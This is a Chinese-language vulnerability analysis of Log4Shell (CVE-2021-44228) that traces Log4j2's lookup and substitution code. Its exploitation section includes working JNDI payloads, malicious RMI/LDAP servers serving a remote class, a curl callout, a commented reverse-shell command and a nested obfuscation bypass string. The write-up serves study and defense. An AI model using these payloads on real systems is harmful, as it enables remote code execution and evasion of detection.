目录

log4j2分析

参考文章

https://logging.apache.org/log4j/2.x/manual/lookups.html

从零到一带你深入 log4j2 Jndi RCE CVE-2021-44228 漏洞

属性占位符

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package learn;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j2demo {
    private static final Logger logger = LogManager.getLogger(log4j2demo.class);
    public static void main(String[] args) {
        String a="${java:os}";
        logger.error(a);
    }
}

https://img.mi3aka.eu.org/2023/02/34bc12aac56b0ede5da1fe458a3836e6.png

log4j2中环境变量键值对被封装为了StrLookup对象,这些变量的值可以通过属性占位符来引用,格式为${prefix:key}

属性占位符在lookup下的Interpolator类进行处理

strLookupMapHashMap类型,将prefix与对应的Lookup方法建立联系

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
//org.apache.logging.log4j.core.lookup.Interpolator
    public Interpolator(final Map<String, String> properties) {
        this.defaultLookup = new MapLookup(properties == null ? new HashMap<String, String>() : properties);
        // TODO: this ought to use the PluginManager
        strLookupMap.put("log4j", new Log4jLookup());
        strLookupMap.put("sys", new SystemPropertiesLookup());
        strLookupMap.put("env", new EnvironmentLookup());
        strLookupMap.put("main", MainMapLookup.MAIN_SINGLETON);
        strLookupMap.put("marker", new MarkerLookup());
        strLookupMap.put("java", new JavaLookup());
        strLookupMap.put("lower", new LowerLookup());
        strLookupMap.put("upper", new UpperLookup());
        // JNDI
        try {
            // [LOG4J2-703] We might be on Android
            strLookupMap.put(LOOKUP_KEY_JNDI, Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));
        } catch (final LinkageError | Exception e) {
            handleError(LOOKUP_KEY_JNDI, e);
        }
        ...
    }

lookup方法中根据prefixstrLookupMap进行查询,调用对应的Lookup方法

https://img.mi3aka.eu.org/2023/02/b28f58024abdd30c3f953c3bf094364f.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//org.apache.logging.log4j.core.lookup.Interpolator
    public String lookup(final LogEvent event, String var) {
        if (var == null) {
            return null;
        }

        final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
        if (prefixPos >= 0) {
            final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
            final String name = var.substring(prefixPos + 1);
            final StrLookup lookup = strLookupMap.get(prefix); //获取的Lookup方法
            if (lookup instanceof ConfigurationAware) {
                ((ConfigurationAware) lookup).setConfiguration(configuration);
            }
            String value = null;
            if (lookup != null) {
                value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); //调用lookup
            }

            if (value != null) {
                return value;
            }
            var = var.substring(prefixPos + 1);
        }
        if (defaultLookup != null) {
            return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
        }
        return null;
    }

Demo中使用的是${java:os},因此进入JavaLookup,根据keyos调用getOperatingSystem方法

https://img.mi3aka.eu.org/2023/02/0c67975224bdcc31efd368d154796068.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//org.apache.logging.log4j.core.lookup.JavaLookup
    public String lookup(final LogEvent event, final String key) {
        switch (key) {
        case "version":
            return "Java version " + getSystemProperty("java.version");
        case "runtime":
            return getRuntime();
        case "vm":
            return getVirtualMachine();
        case "os":
            return getOperatingSystem();
        case "hw":
            return getHardware();
        case "locale":
            return getLocale();
        default:
            throw new IllegalArgumentException(key);
        }
    }

攻击利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package learn;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2rce {

    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(log4j2rce.class);
        /* 使用${jndi:key}时,将会调用JndiLookup的lookup方法 使用jndi(javax.naming)获取value */
        // logger.fatal("${jndi:rmi://127.0.0.1:1099/exp}");//RMI方式复现
        logger.error("${jndi:ldap://127.0.0.1:1389/exp}");//LDAP方法复现
    }
}
  • RMI

https://img.mi3aka.eu.org/2023/02/786a8a1f3aa4ee95f6aacf5cad388792.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package learn.RMIServer;

public class EXEC {
    public EXEC() {
        try {
            // String command = "bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/7000 0>&1";
            String command = "curl http://rmi.5f573be3.dns.1433.eu.org";
            Process pc = Runtime.getRuntime().exec(command);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        new EXEC();
    }
}

package learn.RMIServer;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            Reference reference = new Reference("learn.RMIServer.EXEC", "learn.RMIServer.EXEC", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("exp", referenceWrapper);// rmi://127.0.0.1:1099/exp
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • LDAP

https://img.mi3aka.eu.org/2023/02/9f1e56db6355463988b3160c38451209.png

https://img.mi3aka.eu.org/2023/02/66de82a7d4f9377afc9ed5348b4a4fd4.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package learn.LDAPServer;

import java.net.*;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class Server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    private static final String http_server_ip = "10.10.10.1";
    private static final int ldap_port = 1389;
    private static final int http_server_port = 8000;

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                // e.addAttribute("javaClassName", "learn.LDAPServer.EXEC");// 类名
                // e.addAttribute("javaFactory", "learn.LDAPServer.EXEC");//工厂类名
                e.addAttribute("javaCodeBase", "http://" + http_server_ip + ":" + http_server_port + "/");// 设置远程的恶意引用对象的地址
                e.addAttribute("objectClass", "javaNamingReference");
                e.addAttribute("javaClassName", "EXEC");
                e.addAttribute("javaFactory", "EXEC");
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);// 创建LDAP配置对象
            config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), ldap_port,
                    ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));// 设置LDAP监听配置信息
            config.addInMemoryOperationInterceptor(new OperationInterceptor());// 添加自定义的LDAP操作拦截器
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);// 创建LDAP服务对象
            ds.startListening();// 开始监听
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

链条分析

日志记录

https://img.mi3aka.eu.org/2023/02/1d21a672ada346096bd6d56b24054b71.png

org.apache.logging.log4j.spi.AbstractLogger中存在多个logIfEnabled的重载方法,这些方法根据当前配置的日志记录级别,来判断是否需要进行logMessage操作

1
2
3
4
5
6
7
//org.apache.logging.log4j.spi.AbstractLogger
    public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message,
            final Throwable t) {
        if (isEnabled(level, marker, message, t)) {
            logMessage(fqcn, level, marker, message, t);
        }
    }

字符串处理

substitute方法中对字符串进行替换操作

https://img.mi3aka.eu.org/2023/02/99c0244746109696464480b5e39b5749.png

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
//org.apache.logging.log4j.core.lookup.StrSubstitutor
    private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
        final StrMatcher prefixMatcher = getVariablePrefixMatcher(); //${
        final StrMatcher suffixMatcher = getVariableSuffixMatcher(); //}
        final char escape = getEscapeChar(); //$
        final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher(); //:-
        final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables(); //启用变量替换,默认为true

        final boolean top = priorVariables == null;
        boolean altered = false;
        int lengthChange = 0;
        char[] chars = getChars(buf);
        int bufEnd = offset + length;
        int pos = offset;
        while (pos < bufEnd) {
            final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); //对开头的${进行匹配
            if (startMatchLen == 0) {
                pos++;
            } else {
                // found variable start marker
                if (pos > offset && chars[pos - 1] == escape) {
                    // escaped
                    buf.deleteCharAt(pos - 1);
                    chars = getChars(buf);
                    lengthChange--;
                    altered = true;
                    bufEnd--;
                } else {//查找后缀
                    // find suffix
                    final int startPos = pos;
                    pos += startMatchLen;
                    int endMatchLen = 0;
                    int nestedVarCount = 0;
                    while (pos < bufEnd) {
                        if (substitutionInVariablesEnabled && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) { //通过while循环处理嵌套变量,即${${${}}}的情况,直到没有嵌套
                            // found a nested variable start
                            nestedVarCount++;
                            pos += endMatchLen;
                            continue;
                        }

                        endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
                        if (endMatchLen == 0) {
                            pos++;
                        } else { //找到匹配的后缀
                            // found variable end marker
                            if (nestedVarCount == 0) {
                                String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); //将${xx}中的内容提取出来
                                if (substitutionInVariablesEnabled) {
                                    final StringBuilder bufName = new StringBuilder(varNameExpr);
                                    substitute(event, bufName, 0, bufName.length());//递归处理,后续可以利用这一点进行dos攻击或攻击流量混淆
                                    varNameExpr = bufName.toString();
                                }
                                pos += endMatchLen;
                                final int endPos = pos;

                                String varName = varNameExpr;
                                String varDefaultValue = null;

                                if (valueDelimiterMatcher != null) {
                                    final char [] varNameExprChars = varNameExpr.toCharArray();
                                    int valueDelimiterMatchLen = 0;
                                    for (int i = 0; i < varNameExprChars.length; i++) {
                                        // if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
                                        if (!substitutionInVariablesEnabled
                                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                            break;
                                        }
                                        if (valueEscapeDelimiterMatcher != null) {
                                            int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
                                            if (matchLen != 0) { //根据valueEscapeDelimiterMatcher:\-进行分割处理
                                                String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
                                                varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
                                                for (int j = i + matchLen; j < varNameExprChars.length; ++j){
                                                    if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
                                                        varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
                                                        varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
                                                        break;
                                                    }
                                                }
                                                break;
                                            } else { //根据valueDelimiterMatcher即:-进行分割处理
                                                if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                    varName = varNameExpr.substring(0, i);
                                                    varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                    break;
                                                }
                                            }
                                        } else {
                                            if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                                varName = varNameExpr.substring(0, i);
                                                varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                                break;
                                            }
                                        }
                                    }
                                }

                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                    priorVariables = new ArrayList<>();
                                    priorVariables.add(new String(chars, offset, length + lengthChange));
                                }

                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                priorVariables.add(varName);

                                // resolve the variable
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos); //对解析出的varValue进行resolve处理,后续进入lookup流程
                                if (varValue == null) {
                                    varValue = varDefaultValue;
                                }
                                if (varValue != null) {
                                    // recursive replace
                                    final int varLen = varValue.length();
                                    buf.replace(startPos, endPos, varValue);
                                    altered = true;
                                    int change = substitute(event, buf, startPos, varLen, priorVariables);
                                    change = change + (varLen - (endPos - startPos));
                                    pos += change;
                                    bufEnd += change;
                                    lengthChange += change;
                                    chars = getChars(buf); // in case buffer was altered
                                }

                                // remove variable from the cyclic stack
                                priorVariables.remove(priorVariables.size() - 1);
                                break;
                            }
                            nestedVarCount--;
                            pos += endMatchLen;
                        }
                    }
                }
            }
        }
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

lookup处理

https://img.mi3aka.eu.org/2023/02/3aea3a8369d2ada5dc8ebe2bed9f1e77.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//org.apache.logging.log4j.core.lookup.Interpolator
    public String lookup(final LogEvent event, String var) {
        if (var == null) {
            return null;
        }

        final int prefixPos = var.indexOf(PREFIX_SEPARATOR);//PREFIX_SEPARATOR为冒号,这里对prefix:key进行分割操作
        if (prefixPos >= 0) {
            final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);//提取prefix
            final String name = var.substring(prefixPos + 1);//提取name
            final StrLookup lookup = strLookupMap.get(prefix);//根据prefix获取lookup
            if (lookup instanceof ConfigurationAware) {
                ((ConfigurationAware) lookup).setConfiguration(configuration);
            }
            String value = null;
            if (lookup != null) {
                value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);//进行lookup操作
            }

            if (value != null) {
                return value;
            }
            var = var.substring(prefixPos + 1);
        }
        if (defaultLookup != null) {
            return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
        }
        return null;
    }

https://img.mi3aka.eu.org/2023/02/dc567b7d1fcc5de55e2308e8b6ac459b.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
//org.apache.logging.log4j.core.lookup.JndiLookup
    public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        }
        final String jndiName = convertJndiName(key);
        try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
            return Objects.toString(jndiManager.lookup(jndiName), null);
        } catch (final NamingException e) {
            LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
            return null;
        }
    }

jndiManager.lookup进行JNDI注入

递归解析与混淆

https://img.mi3aka.eu.org/2023/02/8fc8b0789d7cd2e3ed7f1a95efcc0ab8.png

https://img.mi3aka.eu.org/2023/02/44996397a811a57c3d64a5f25784f884.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package learn;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j2bypass {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(log4j2rce.class);
        logger.fatal("${${1234:-j}${1234:-n}${45334576:-d}${34241234:-i}:${1234:-l}${1234:-d}${1234:-a}${1234:-p}://${1234:-1}${1234:-2}7.0.0.1:1389/exp}");//bypass
    }
}

同样对substitute方法进行分析

https://img.mi3aka.eu.org/2023/02/8408677fe3244a20fb121153e0ceae5c.png

由于存在${${}}的嵌套情况,因此进行了多次递归处理

以第一个${1234:-j}为例,对valueDelimiterMatcher进行分析,在去除${}后,对1234:-j进行拆分处理

https://img.mi3aka.eu.org/2023/02/bb5557b29e6bea3bf09699a568a5a428.png

https://img.mi3aka.eu.org/2023/02/35288934b215b8db01b64c73948f5ccc.png

对拆分出的1234进行resolve处理,最终返回null

https://img.mi3aka.eu.org/2023/02/210b5596f1302d884cef823e3c89e496.png

https://img.mi3aka.eu.org/2023/02/3647b5dd5c0b2dab5fc8f8dcb2c5fb7f.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
    public String lookup(final LogEvent event, String var) {
        if (var == null) {
            return null;
        }

        final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
        if (prefixPos >= 0) {
            final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
            final String name = var.substring(prefixPos + 1);
            final StrLookup lookup = strLookupMap.get(prefix);
            if (lookup instanceof ConfigurationAware) {
                ((ConfigurationAware) lookup).setConfiguration(configuration);
            }
            String value = null;
            if (lookup != null) {
                value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
            }

            if (value != null) {
                return value;
            }
            var = var.substring(prefixPos + 1);
        }
        if (defaultLookup != null) {
            return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
        }
        return null;
    }

    public String lookup(final LogEvent event, final String key) {
        final boolean isMapMessage = event != null && event.getMessage() instanceof MapMessage;
        if (map == null && !isMapMessage) {
            return null;
        }
        if (map != null && map.containsKey(key)) {
            final String obj = map.get(key);
            if (obj != null) {
                return obj;
            }
        }
        if (isMapMessage) {
            return ((MapMessage) event.getMessage()).get(key);
        }
        return null;
    }

https://img.mi3aka.eu.org/2023/02/5d3c516e7b14476b376f3f167521accf.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
String varValue = resolveVariable(event, varName, buf, startPos, endPos);//varValue为null
if (varValue == null) {
    varValue = varDefaultValue;//此时varValue为j
}
if (varValue != null) {
    // recursive replace
    final int varLen = varValue.length();
    buf.replace(startPos, endPos, varValue);
    altered = true;
    int change = substitute(event, buf, startPos, varLen, priorVariables);
    change = change + (varLen - (endPos - startPos));
    pos += change;
    bufEnd += change;
    lengthChange += change;
    chars = getChars(buf); // in case buffer was altered
    // chars被调整为j${1234:-n}
}

不断重复上述操作,直到chars被调整为jndi:ldap://127.0.0.1:1389/exp,进行lookup操作